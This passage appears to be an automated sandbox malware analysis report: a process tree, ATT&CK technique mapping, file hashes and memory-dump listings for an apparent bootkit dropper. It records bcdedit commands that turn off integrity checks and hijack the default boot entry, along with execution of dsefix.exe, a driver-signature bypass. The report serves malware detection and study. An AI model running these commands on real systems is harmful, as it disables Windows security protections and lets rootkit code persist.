C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:1404

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:3936

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:1728

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:2172

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:756

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:4064

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3648

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:3460

C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
C:\Users\Admin\AppData\Local\Temp\csrss\app.exe -update
4⤵
- Executes dropped EXE
PID:1576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 752
3⤵
- Program crash
PID:640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 780
2⤵
- Program crash
PID:3164

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3084

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
MD5
ad76f6dba1bc96dd91ab789d143c8a5e

SHA1
2521b2296a9ac31b01f18e936fd4d490566c22d1

SHA256
85d8620cd42faa6f67c1156e6c7f3c514bccdbef87a4bcac2b7ae9b1d63979c0

SHA512
f737e07c06eebc405ddcdb71116f4b21eed4c2199f28256ab7e3b12320f3b9b7b4e2a6ee03513a0796a553f346073adf1b43c82a34ee27dd9b3ebba56b03139f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
MD5
ad76f6dba1bc96dd91ab789d143c8a5e

SHA1
2521b2296a9ac31b01f18e936fd4d490566c22d1

SHA256
85d8620cd42faa6f67c1156e6c7f3c514bccdbef87a4bcac2b7ae9b1d63979c0

SHA512
f737e07c06eebc405ddcdb71116f4b21eed4c2199f28256ab7e3b12320f3b9b7b4e2a6ee03513a0796a553f346073adf1b43c82a34ee27dd9b3ebba56b03139f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
a0efed30b010ca2d54e5df9a091499ac

SHA1
b5551d53bf87cf21b829d48411885df5fa3d8bbc

SHA256
d5d368c9ba295ef4c36fe1e02452418d14f27512fe153c2f16f7384ca60b3db4

SHA512
fa1573f86d32ec76473c9941b3f14e3c0e90a976225006116c4ad59315e7c1d682c05a98e295fc7c2c85cb4824143f3c0f0e2e61fb2ac4dd4ba8acd6eae2e5fe

Download Submit
C:\Windows\rss\csrss.exe
MD5
a0efed30b010ca2d54e5df9a091499ac

SHA1
b5551d53bf87cf21b829d48411885df5fa3d8bbc

SHA256
d5d368c9ba295ef4c36fe1e02452418d14f27512fe153c2f16f7384ca60b3db4

SHA512
fa1573f86d32ec76473c9941b3f14e3c0e90a976225006116c4ad59315e7c1d682c05a98e295fc7c2c85cb4824143f3c0f0e2e61fb2ac4dd4ba8acd6eae2e5fe

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/756-39-0x0000000000000000-mapping.dmp

Download
memory/1404-35-0x0000000000000000-mapping.dmp

Download
memory/1448-10-0x0000000000000000-mapping.dmp

Download
memory/1508-28-0x0000000000000000-mapping.dmp

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memory/1516-21-0x0000000000000000-mapping.dmp

Download
memory/1524-11-0x0000000000000000-mapping.dmp

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memory/1576-45-0x0000000000000000-mapping.dmp

Download
memory/1728-37-0x0000000000000000-mapping.dmp

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memory/1832-34-0x0000000000000000-mapping.dmp

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memory/2172-38-0x0000000000000000-mapping.dmp

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memory/2184-30-0x0000000000000000-mapping.dmp

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memory/2468-19-0x0000000000000000-mapping.dmp

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memory/2660-31-0x0000000000000000-mapping.dmp

Download
memory/2936-17-0x00000000019B0000-0x00000000019B1000-memory.dmp

Filesize
4KB

Download
memory/2936-13-0x0000000000000000-mapping.dmp

Download
memory/2964-12-0x0000000000000000-mapping.dmp

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memory/3004-9-0x0000000000000000-mapping.dmp

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memory/3012-32-0x0000000000000000-mapping.dmp

Download
memory/3052-29-0x0000000000000000-mapping.dmp

Download
memory/3180-33-0x0000000000000000-mapping.dmp

Download
memory/3460-42-0x0000000000000000-mapping.dmp

Download
memory/3636-2-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/3636-1-0x00000000017B0000-0x00000000017B1000-memory.dmp

Filesize
4KB

Download
memory/3644-27-0x0000000000000000-mapping.dmp

Download
memory/3648-41-0x0000000000000000-mapping.dmp

Download
memory/3700-6-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/3700-5-0x0000000001560000-0x0000000001561000-memory.dmp

Filesize
4KB

Download
memory/3700-3-0x0000000000000000-mapping.dmp

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memory/3936-36-0x0000000000000000-mapping.dmp

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memory/4064-40-0x0000000000000000-mapping.dmp

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memory/4068-20-0x0000000000000000-mapping.dmp

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